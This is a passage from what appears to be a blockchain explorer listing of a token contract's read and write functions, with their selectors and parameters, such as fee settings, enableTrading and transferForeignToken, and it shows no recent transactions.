maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellBurnFee 0xadb873bd → uint256
sellLiquidityFee 0xf6374342 → uint256
sellMarketingFee 0x92136913 → uint256
sellTotalFees 0x6a486a8e → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferForeignToken 0x8366e79a
address _token
address _to
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address